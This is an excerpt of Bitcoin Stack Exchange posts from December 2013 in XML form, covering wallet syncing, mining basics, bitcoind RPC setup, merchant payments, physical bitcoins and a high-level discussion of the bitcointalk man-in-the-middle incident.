  <row Id="17756" PostTypeId="1" CreationDate="2013-12-02T13:53:29.537" Score="1" ViewCount="110" Body="&lt;p&gt;Hi any help really appreciated..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About 12 months ago I purchased some bit coins from 2 different merchants and began to sync my wallet on Qt 2. Frustrated with tedious progress I put the project on hold, and now have continued to sync, which is still only 88% complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question and dilemma is this. I can't recall in the set up process if I was required to send coins to my own wallet, there are 3 transactions showing 2 received and one sent.. I don't remember if I actually sent coins to someone back then when I was going to purchase a product, I seem to recall the coins I was going to send him somehow weren't yet  in my out of sync wallet…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to be sending coins before the wallet is synced ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if a new, out of sync wallet is showing coins as having been sent to &#xA;an address, could that be to my own wallet due to the set up process ?&#xA;that address is listed in the &quot;sent to' tab is there a way to check if its me or where it went ?&#xA;Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tim&lt;/p&gt;&#xA;" OwnerUserId="9910" LastActivityDate="2013-12-02T13:53:29.537" Title="Are transactions possible when setting up/ sync wallet Qt2" Tags="|transactions|wallet|blockchain|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17757" PostTypeId="1" AcceptedAnswerId="17776" CreationDate="2013-12-02T13:56:29.037" Score="-2" ViewCount="139" Body="&lt;p&gt;So help me get it clearly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) miners get bitcoins thanks to their capability to decrypt certain lines of code. &#xA;2) Miners sell them to &quot;stock exchanges&quot; or to &quot;resellers&quot; or to privates&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions: &#xA;1)do Miners get bitcoins &quot;for free&quot; after they decrypt? and when they sell them do they  get the entire amount? who creates the &quot;packages&quot; to be decripted?&#xA;2) Can anyone be a miner? &#xA;3) MtGox or bitestamp for example, are both miners and exchange, is that correct?&#xA;4) how exchanges fix the value of bitcoin? is there an algorithm or something that gives guidelines or general rules? &#xA;5) as far as I understand any exchange can basically fix the price indipendently...correct?&#xA;6) as far as I understand there is a limited amount of bitcoins and therefore exchange and resellers can go into a shortage of bitcoins, at least theoretically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="9894" LastActivityDate="2013-12-03T07:50:39.730" Title="Some additional questions on how bitcoins work!" Tags="|transactions|" AnswerCount="1" CommentCount="3" ClosedDate="2013-12-04T16:35:27.047" ContentLicense="CC BY-SA 3.0" />
  <row Id="17758" PostTypeId="1" AcceptedAnswerId="17774" CreationDate="2013-12-02T14:14:21.140" Score="14" ViewCount="10620" Body="&lt;p&gt;I am just starting to understand the internals of bitcoin. I am a CS graduate and familiar with most bitcoin terminologies. I've read Satoshi's paper and researched the question but I couldn't find the answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that it is much more profitable to mine blocks for the reward (25coins) than the transactions fees. my question is what prevents miners from only including 1 (or 0 if its allowed) transactions in their generated blocks as hashing smaller data will result in greater hashes/s (yes?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, and most importantly is how does a miner decides that enough transactions has been received and start finding the nonce as adding a new transaction to the attempting block will result in all the work done for this block as obsolete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll try to give my guess so correct me if I am wrong. While the miner tries to find the new block it buffers any received new transactions. If he/she finds the new block or a a new valid block is received they start working on the next block by putting all the buffered transactions into a new block and get to work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please excuse me if my questions seems primitive. I tried my best to research and any links are greatly appreciated. &#xA;Thanks. &lt;/p&gt;&#xA;" OwnerUserId="9912" LastEditorUserId="9912" LastEditDate="2016-09-30T22:53:01.677" LastActivityDate="2017-11-10T19:23:42.200" Title="Number of transactions per block" Tags="|transactions|blockchain|block|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17759" PostTypeId="1" CreationDate="2013-12-02T14:19:17.063" Score="6" ViewCount="207" Body="&lt;p&gt;There was a &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1rvrrn/bitcointalkorg_man_in_the_middle_attack_change/&quot;&gt;man-in-the-middle attack on bitcointalk&lt;/a&gt; on Dec 2013.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;News: If you used your password to login between 06:00 Dec 1 UTC and&#xA;  20:00 UTC, then your password may have been captured in a&#xA;  man-in-the-middle attack, and you should change your password here and&#xA;  wherever else you used it. If you were only logged in via the&#xA;  &quot;remember me&quot; feature, then you're OK.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How was this executed? Didn't bitcointalk use SSL? Are there technical details on the attack vector?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-12-03T09:04:24.237" Title="How was bitcointalk attacked in Dec 2013?" Tags="|bitcointalk|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17760" PostTypeId="1" CreationDate="2013-12-02T14:39:18.130" Score="0" ViewCount="487" Body="&lt;p&gt;I have a VPS with bitcoind set up, synced the blocks and its all running fine. I have set up the bitcoin.conf file and allowed the IP of my web host server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running a script on my web host that communicates to the wallet but it just won't connect! &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Uncaught exception 'Exception' with message 'Unable to connect to http://INVENT_A_UNIQUE_USERNAME:INVENT_A_UNIQUE_PASSWORD@VPSIP:8333/' in /home/1234/public_html/gm/install/driver_test.php:61 Stack trace: #0 /home/1234/public_html/gm/install/index.php(16): jsonRPCClient-&amp;gt;__call('getbalance', Array) #1 /home/1234/public_html/gm/install/index.php(16): jsonRPCClient-&amp;gt;getbalance() #2 {main} thrown in /home/1234/public_html/gm/install/driver_test.php on line 61&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions? I have run out of ideas.&lt;/p&gt;&#xA;" OwnerUserId="9913" LastActivityDate="2016-11-07T12:40:21.223" Title="Running bitcoind on VPS, won't speak to my web server" Tags="|bitcoind|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17761" PostTypeId="2" ParentId="11499" CreationDate="2013-12-02T14:39:57.447" Score="0" Body="&lt;p&gt;If you're in the UK then check out &lt;a href=&quot;https://bit121.co.uk&quot; rel=&quot;nofollow&quot;&gt;https://bit121.co.uk&lt;/a&gt; as they are a legitimate exchange with UK based banking. Most bank transfers within the UK are usually instant and you don't have to pay the higher fees when dealing with foreign banks.&lt;/p&gt;&#xA;" OwnerUserId="9540" LastActivityDate="2013-12-02T14:39:57.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17763" PostTypeId="2" ParentId="17759" CreationDate="2013-12-02T14:43:29.263" Score="-1" Body="&lt;p&gt;Sure.&#xA;They just hacked their cloudflare account, and set different IP address for the domain bitcointalk. Therefore, every visitor was actually logging into malicious form. &lt;/p&gt;&#xA;" OwnerUserId="9563" LastActivityDate="2013-12-02T14:43:29.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17765" PostTypeId="1" CreationDate="2013-12-02T14:48:20.033" Score="1" ViewCount="1761" Body="&lt;p&gt;I have seen all these other posts on how to do it, but they are all so complicated, what is the quickest, easiesy way to accept Bitcoin payments or donations on my website? Why is it all so difficult?&lt;/p&gt;&#xA;" OwnerUserId="9915" LastActivityDate="2014-01-06T20:58:50.863" Title="How can i accept Bitcoin donations or payments on my website?" Tags="|payment|" AnswerCount="2" CommentCount="0" ClosedDate="2013-12-07T12:10:40.797" ContentLicense="CC BY-SA 3.0" />
  <row Id="17767" PostTypeId="2" ParentId="17765" CreationDate="2013-12-02T15:09:08.830" Score="2" Body="&lt;p&gt;Well - the easiest way would be to just put your wallet address up on your site so people could send you Bitcoin directly.  You could also use sites like Blockchain.info or follow this tutorial (&lt;a href=&quot;http://bitcoinmoney.com/post/9678390130/wolfram-alpha-qr-code-generator&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinmoney.com/post/9678390130/wolfram-alpha-qr-code-generator&lt;/a&gt;) to create a QR code from your wallet address as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, Coinbase (&lt;a href=&quot;https://coinbase.com/merchants&quot; rel=&quot;nofollow&quot;&gt;https://coinbase.com/merchants&lt;/a&gt;), BitPay (&lt;a href=&quot;https://bitpay.com&quot; rel=&quot;nofollow&quot;&gt;https://bitpay.com&lt;/a&gt;), and Mt. Gox (&lt;a href=&quot;https://www.mtgox.com/merchant/checkout&quot; rel=&quot;nofollow&quot;&gt;https://www.mtgox.com/merchant/checkout&lt;/a&gt;) all offer tools for merchants to offer Bitcoin payments.  Also - Shopify.com recently announced that they would allow merchants to collect payments via Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="9659" LastEditorUserId="-1" LastEditDate="2014-01-06T20:58:50.863" LastActivityDate="2014-01-06T20:58:50.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17768" PostTypeId="1" CreationDate="2013-12-02T15:09:39.943" Score="2" ViewCount="6623" Body="&lt;p&gt;I bought several 2009 Bitcoins and they came in a nice case but that is all the info I have on them.  How do I cash them in?&lt;/p&gt;&#xA;" OwnerUserId="9918" LastEditorUserId="5406" LastEditDate="2015-01-10T00:14:02.220" LastActivityDate="2022-03-20T08:03:52.817" Title="I bought a bunch of 2009 Bitcoins the actual coin. How can i cash the coin in?" Tags="|sell-bitcoins|physical-coins|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17769" PostTypeId="1" AcceptedAnswerId="17775" CreationDate="2013-12-02T15:15:07.967" Score="1" ViewCount="9174" Body="&lt;p&gt;I installed quarkcoin-qt and wanted to see if I can get it to mine any quarks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I opened the necessary port and it synchronized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I opened its console window and connected to the network using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;addnode 54.193.30.6 onetry&#xA;addnode 54.224.185.35 onetry&#xA;addnode 54.200.66.187 onetry&#xA;addnode 54.201.33.23; onetry&#xA;addnode 86.183.230.58; onetry&#xA;addnode 119.252.247.163 onetry&#xA;addnode 218.30.67.157 onetry&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then used &lt;code&gt;setgenerate true -1&lt;/code&gt; to (supposedly) put it into mining mode...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;calling &lt;code&gt;getmininginfo&lt;/code&gt; it returns&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;blocks&quot; : 420230,&#xA;&quot;currentblocksize&quot; : 2978,&#xA;&quot;currentblocktx&quot; : 3,&#xA;&quot;difficulty&quot; : 2856.00406965,&#xA;&quot;errors&quot; : &quot;&quot;,&#xA;&quot;generate&quot; : true,&#xA;&quot;genproclimit&quot; : -1,&#xA;&quot;hashespersec&quot; : 74772,&#xA;&quot;pooledtx&quot; : 3,&#xA;&quot;testnet&quot; : false&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where can I read about the meaning of all this information?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything else I need to do? or should I just wait now?&#xA;And If I only have to wait  then how long until I am supposed to see anything?&lt;/p&gt;&#xA;" OwnerUserId="9904" LastEditorUserId="5406" LastEditDate="2016-04-25T21:30:39.527" LastActivityDate="2016-04-25T21:30:39.527" Title="mining for quark" Tags="|miner-configuration|terminology|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17770" PostTypeId="2" ParentId="17759" CreationDate="2013-12-02T15:21:15.337" Score="-1" Body="&lt;p&gt;In cryptography and computer security Man in the Middle is a form of active eavesdropping in which the attacker makes independent connections with the victims and relays messages between them, making them believe that they are talking directly to each other over a private connection, when in fact the entire conversation is controlled by the attacker. The attacker must be able to intercept all messages going between the two victims and inject new ones, which is straightforward in many circumstances (for example, an attacker within reception range of an unencrypted Wi-Fi wireless access point, can insert himself as a man-in-the-middle).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcointalk uses SSL.How they got passed it, I don't know&lt;/p&gt;&#xA;" OwnerUserId="9869" LastActivityDate="2013-12-02T15:21:15.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17771" PostTypeId="2" ParentId="17765" CreationDate="2013-12-02T15:24:47.680" Score="3" Body="&lt;p&gt;BitPay is an electronic payment processing system for the bitcoin currency. It enables online merchants to accept bitcoins, as a form of payment, just as they accept payments from Visa, Mastercard, or Paypal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitPay is available in every country, and you can set your prices in over 30 different currencies. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Merchants choosing to keep the bitcoins can be anywhere in the world. Merchants in some countries can choose to receive a direct deposit into their bank account. &lt;/p&gt;&#xA;" OwnerUserId="9869" LastActivityDate="2013-12-02T15:24:47.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17772" PostTypeId="2" ParentId="17760" CreationDate="2013-12-02T15:51:23.987" Score="1" Body="&lt;p&gt;It looks like you are using the wrong port. The RPC server listens on port 8332 by default, so try that. Port 8333 is for bitcoin node traffic.&lt;/p&gt;&#xA;" OwnerUserId="9540" LastActivityDate="2013-12-02T15:51:23.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17773" PostTypeId="2" ParentId="17758" CreationDate="2013-12-02T15:56:45.393" Score="0" Body="&lt;p&gt;Nothing prevents miners from not including transactions in their blocks. However, miners are trying to make money and 0.0005 * 54 = 0.027 BTC, which isn't a trivial amount in this market.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transaction_fees&lt;/a&gt; for more info.&lt;/p&gt;&#xA;" OwnerUserId="9540" LastActivityDate="2013-12-02T15:56:45.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17774" PostTypeId="2" ParentId="17758" CreationDate="2013-12-02T16:01:40.250" Score="8" Body="&lt;p&gt;Nothing is stopping miners from not including transactions in their blocks, in fact it has &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3332/what-can-be-done-about-the-no-transaction-block-relayer-currently-71-123-170-15&quot;&gt;happened before&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;hashing smaller data will result in greater hashes/s (yes?)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, the hashes are always the same size, and adding transactions to the block does not make any difference to the difficulty in finding the nounce that validates the block (the speed of hashing remains the same, and the probablity of finding the bock also remains unchanged), hence it makes financial sense for miners to add as many as they can since they earn more transaction fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: for more details on the mining process, this &lt;a href=&quot;https://bitcointalk.org/index.php?topic=339505.msg3659809#msg3659809&quot; rel=&quot;nofollow noreferrer&quot;&gt;thread&lt;/a&gt; provides a good summary:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Simplified mining process&lt;/strong&gt;&lt;br/&gt; 1) Miners select tx from the memory&#xA;  pool for inclusion in a new block (the number, method, and criteria is&#xA;  up to the miner)&lt;br/&gt; 2) Miners construct a merkle tree from the tx in&#xA;  step #1&lt;br/&gt; 3) Miners create a block header with the merkle tree,&#xA;  prior block hash, version, timestamp, and nonce&lt;br/&gt; 4) Miner will&#xA;  hash the blockheader.  If it is a solution go to step 5.&lt;br/&gt; 4a)&#xA;  Miner will increment nonce and go to step 4.  If nonce range is&#xA;  exhausted go to step 4b&lt;br/&gt; 4b) Miner will modify another element in&#xA;  blockheader, reset nonce range back to 0 and go to step 4&lt;br/&gt; 5)&#xA;  Miner has found a block.  They broadcast it to peers.&lt;br/&gt; &lt;br/&gt; So&#xA;  once a miner finds a block they are done.  All the work for deciding&#xA;  tx comes BEFORE solving a block.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So the number and size of transactions has no real impact on the &lt;em&gt;repetitive&lt;/em&gt; step #4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that, it has been claimed that some miners do choose smaller blocks in order to minimise network propagation delays, and hence reduce the chance of their block becoming an orphan. &lt;/p&gt;&#xA;" OwnerUserId="8728" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2016-07-12T12:55:24.640" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17775" PostTypeId="2" ParentId="17769" CreationDate="2013-12-02T16:04:32.937" Score="1" Body="&lt;p&gt;At this point, all you need to do is wait. As for the getmininginfo...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;blocks = number of blocks mined&lt;/li&gt;&#xA;&lt;li&gt;currentblocksize = size of blocks in bytes&lt;/li&gt;&#xA;&lt;li&gt;currentblocktx = number of transactions included in the block&lt;/li&gt;&#xA;&lt;li&gt;difficulty = how hard it is to mine&lt;/li&gt;&#xA;&lt;li&gt;errors = any error messages (you have none which is good)&lt;/li&gt;&#xA;&lt;li&gt;generate = if you are mining or not (true = you are mining)&lt;/li&gt;&#xA;&lt;li&gt;hashespersec = how fast you are mining&lt;/li&gt;&#xA;&lt;li&gt;pooledtx = number of transactions in the memory pool&lt;/li&gt;&#xA;&lt;li&gt;testnet = if you are running on testnet or not (false = you are mining real coins, not test coins)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9540" LastActivityDate="2013-12-02T16:04:32.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17776" PostTypeId="2" ParentId="17757" CreationDate="2013-12-02T16:21:08.690" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Miners get bitcoins by solving a cryptographic puzzle formed from the current block of transactions that also verifies the most recent transactions.  Their cost is the hardware and electricity needed to run the programs that generate the winning solution.  Those bitcoins are the same as any other bitcoin.  They can store them in their personal wallets, buy goods or services with them, or sell them at an exchange for fiat money.&lt;/li&gt;&#xA;&lt;li&gt;Yes, assuming they have the hardware for it.  Today, you won't make a profit mining bitcoins unless you have an ASIC (application-specific integrated circuit) miner, and those are expensive.  Further, the difficulty rises as more processing power enters the network, so there is something of an arms race as faster asics are made and brought online.  A GPU or CPU can mine, but it'd waste more electricity than it would earn, so it's discouraged.  In addition, most miners are part of &quot;Mining Pools,&quot; large groups of miners that work in parallel to solve the most recent block and then split the reward.  As there's only one payout every 10 minutes, and many miners, you're statistically much more likely to get a payout working in a pool.&lt;/li&gt;&#xA;&lt;li&gt;Mt. Gox and Bitstamp are exchanges, and not &quot;miners.&quot;  They provide the service of matching people wanting to sell bitcoin for fiat currency with people wanting to buy bitcoin for fiat, and for this service, they charge fees with each transaction they arrange.&lt;/li&gt;&#xA;&lt;li&gt;The value isn't really fixed in any way.  Supply and demand dictate the cost of Bitcoin on the exchanges.  People place orders to buy or sell bitcoins at a certain price, and if someone is willing to buy bitcoins at a price higher or equal to the price someone is willing to sell bitcoins, the exchange will arrange a transaction between the two.  As there are many standing orders, the value is assumed to be either at the value of the last transaction, or somewhere between the highest priced unfilled buy order and the lowest priced unfilled sell order.&lt;/li&gt;&#xA;&lt;li&gt;If they're operating as a proper exchange, they really can't.  Mt. Gox, for example, streams every transaction.  You can watch it at &lt;a href=&quot;http://bitcoin.clarkmoody.com/&quot; rel=&quot;nofollow&quot;&gt;Clark Moody&lt;/a&gt;.  Further, since someone could take their bitcoins to another exchange to sell, it's really in their best interest to let the market dictate the price.&lt;/li&gt;&#xA;&lt;li&gt;No.  Bitcoins are very divisible.  Today, a bitcoin can be divided to 8 decimal places to get the smallest unit, which is called a Satoshi.  Lost currency would probably cause deflation, where the other coins have more spending value.  The protocol could be changed to split a Satoshi even more if need be.  As the exchanges only facilitate orders between people with bitcoins and people who want to buy bitcoins, &quot;running out&quot; isn't something that could happen.  So long as the exchange has someone who wants to sell bitcoins, the exchange can still sell bitcoins.  And if the exchange were to run low on people willing to sell, that would drive up the value quite a bit, and probably lead to people making less/smaller buy orders until the market adjusts.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9762" LastActivityDate="2013-12-02T16:21:08.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17777" PostTypeId="2" ParentId="17768" CreationDate="2013-12-02T16:21:30.180" Score="1" Body="&lt;p&gt;That's not a whole lot of info to go on.  I guess there should be a way to open them or remove a sticker to uncover a private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand you might be better off selling them on ebay as they can be worth a bit more too a collector than the bitcoin value. Although you have to be careful with chargeback fraud I guess.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="5292" LastEditDate="2013-12-03T12:33:50.380" LastActivityDate="2013-12-03T12:33:50.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17778" PostTypeId="2" ParentId="17769" CreationDate="2013-12-02T17:18:58.717" Score="1" Body="&lt;p&gt;Also refer to guide on official forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://quark.freeforums.net/thread/141/mine-quarkcoin-ultimate-mining-guide&quot; rel=&quot;nofollow&quot;&gt;http://quark.freeforums.net/thread/141/mine-quarkcoin-ultimate-mining-guide&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will be more profit if you will mine in pool and using optimized miners.&lt;/p&gt;&#xA;" OwnerUserId="9924" LastActivityDate="2013-12-02T17:18:58.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17779" PostTypeId="1" AcceptedAnswerId="17782" CreationDate="2013-12-02T17:36:13.737" Score="3" ViewCount="439" Body="&lt;p&gt;I've been observing the huge increase in the price of Bitcoin over the last month (November 2013) and I can't help but think, is someone with an ulterior motive pulling the strings here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me that Bitcoin represents a huge threat to some very powerful people who would like to see the financial status quo maintained. If Bitcoin posed a significant threat to them, how would they combat it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think trying to govern or control Bitcoin in any way would work. If I was in that position, I would probably pour a lot of resources into artificially raising the value of Bitcoin, create a mania of publicity around it and get as many people invested into the bubble as possible. Then when it reached a tipping point, I would burst that bubble hard, make sure all those people who invested got their fingers badly burned. Killing Bitcoin by destroying everyone's faith in it...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's why the sudden increase in value concerns me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it feasibly possible for someone to artificially raise the value of Bitcoin in this way? Given that those who might want to do so would have almost unlimited financial resources, and a whole lot of influence over the media/public opinion. Could they be setting up Bitcoin for a very overt fall?&lt;/p&gt;&#xA;" OwnerUserId="9883" LastEditorUserId="9883" LastEditDate="2013-12-02T17:51:16.290" LastActivityDate="2014-03-05T14:21:42.410" Title="Is someone trying to kill bitcoin?" Tags="|value|speculation|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17780" PostTypeId="1" AcceptedAnswerId="17786" CreationDate="2013-12-02T17:56:50.887" Score="4" ViewCount="996" Body="&lt;p&gt;Is the delay in shipping mining equipment on purpose?&#xA;Couldnt the manufacturer mine with the new hardware and deliver it in a few month, as said to be a production problem, but mining itself until the difficult level is too high, all on purpose, and then getting rid of the hardware? Its perfect, altough morally really weak, to mine with the equipment others pay for.&lt;/p&gt;&#xA;" OwnerUserId="9493" LastEditorUserId="5406" LastEditDate="2016-03-17T15:54:40.370" LastActivityDate="2016-03-17T15:54:40.370" Title="Delay of shipping mining equipment on purpose?" Tags="|mining-hardware|fraud|butterfly-labs|avalon|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17781" PostTypeId="2" ParentId="17576" CreationDate="2013-12-02T18:05:16.337" Score="0" Body="&lt;p&gt;-T flag fixed this for my laptop. Something with ncurses text formatting&lt;/p&gt;&#xA;" OwnerUserId="9930" LastActivityDate="2013-12-02T18:05:16.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17782" PostTypeId="2" ParentId="17779" CreationDate="2013-12-02T18:42:46.257" Score="2" Body="&lt;p&gt;Possible, yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probable, no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If such a scheme were tried it would cost the perpetrator a significant amount to execute (Billions of $) and if successful would almost certainly result in a loss of a significant fraction of the initial investment in the &quot;destroy bitcoin&quot; venture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also no guarantee of success, as the bitcoin price could just re-stabilise at a lower value like we saw in 2011.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many explanations behind the recent price increase that are far more likely, including the US Senate hearings, China, and the Network Effect.&lt;/p&gt;&#xA;" OwnerUserId="5875" LastActivityDate="2013-12-02T18:42:46.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17783" PostTypeId="2" ParentId="17768" CreationDate="2013-12-02T18:50:41.737" Score="11" Body="&lt;p&gt;It seems that you have what many people would call physical bitcoins. There are several kinds, but I am not aware of any from before 2011 that actually take the shape of a coin. The probably best known type is made by &lt;a href=&quot;https://www.casascius.com/&quot; rel=&quot;nofollow&quot;&gt;Casascius&lt;/a&gt;. Is there any additional information you could provide? Maybe a photo?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, if this is what you have, then be aware that none of them are in any way official. They are merely someone's personal invention. To link them to bitcoin, they usually contain the private key, with some more or less effective tamper-protection (e.g. hidden behind a self-voiding seal or the like). If printed, this private key is a long string of alphanumerical characters starting with 5. With this private key you can, using a bitcoin client, take possession of the actual bitcoin(s) associated with the coin. Look out if anyone has done that before you! The coin should also display a bitcoin address, without being hidden behind a seal or the like, which you can use to check if there actually are real bitcoins associated with it using web services such as &lt;a href=&quot;http://blockexplorer.com/&quot; rel=&quot;nofollow&quot;&gt;blockexplorer.com&lt;/a&gt; or &lt;a href=&quot;https://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt;. You recognize the bitcoin address by starting with 1 if given as a string of alphanumeric characters. Sometimes bitcoin addresses and private keys are additionally shown as QR codes for easy scanning by bitcoin apps for smartphones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Jannes pointed out in an earlier answer, do check if your coin has collector's value. Particularly if it is true that you got a physical bitcoin manufactured by someone as early as 2009, it may really be special.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=214589.0&quot; rel=&quot;nofollow&quot;&gt;this post on Bitcoin Forum&lt;/a&gt; list the different types of known physical criptcoins, with some info about their mintage and sales history. The Series-1 1BTC Casascius Coin is the one with seems to attract the highest collector interest, since it was the first physical criptocoin ever to be released to the world. In the Bitcoin Forum, some of those coins were reportedly sold for 8 BTC, even though they are only loaded with 1BTC.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorUserId="1526" LastEditDate="2015-08-10T11:05:05.930" LastActivityDate="2015-08-10T11:05:05.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17784" PostTypeId="2" ParentId="17751" CreationDate="2013-12-02T19:11:13.497" Score="-3" Body="&lt;p&gt;&lt;a href=&quot;https://coinbase.com/&quot; rel=&quot;nofollow&quot;&gt;Coinbase &lt;/a&gt;Your wallet on Coinbase is a collection of bitcoin addresses. New bitcoin addresses are automatically generated for each payment on Coinbase and stay associated with your account forever (so it is safe to reuse them).&lt;/p&gt;&#xA;" OwnerUserId="9933" LastEditorUserId="6321" LastEditDate="2013-12-07T12:17:11.730" LastActivityDate="2013-12-07T12:17:11.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17785" PostTypeId="2" ParentId="17752" CreationDate="2013-12-02T19:50:08.720" Score="1" Body="&lt;p&gt;The best way to switch to Electrum is to send all the bitcoins you have on your old wallet to one of the addresses on your Electrum wallet. This way you'll have all your bitcoins secured with your seed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could import the private keys from your old client, but you will have to keep a backup of those keys separately as they won't become part of your Electrum seed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://electrum.org/tutorials.html#switching-to-electrum&quot; rel=&quot;nofollow&quot;&gt;http://electrum.org/tutorials.html#switching-to-electrum&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2013-12-02T19:50:08.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
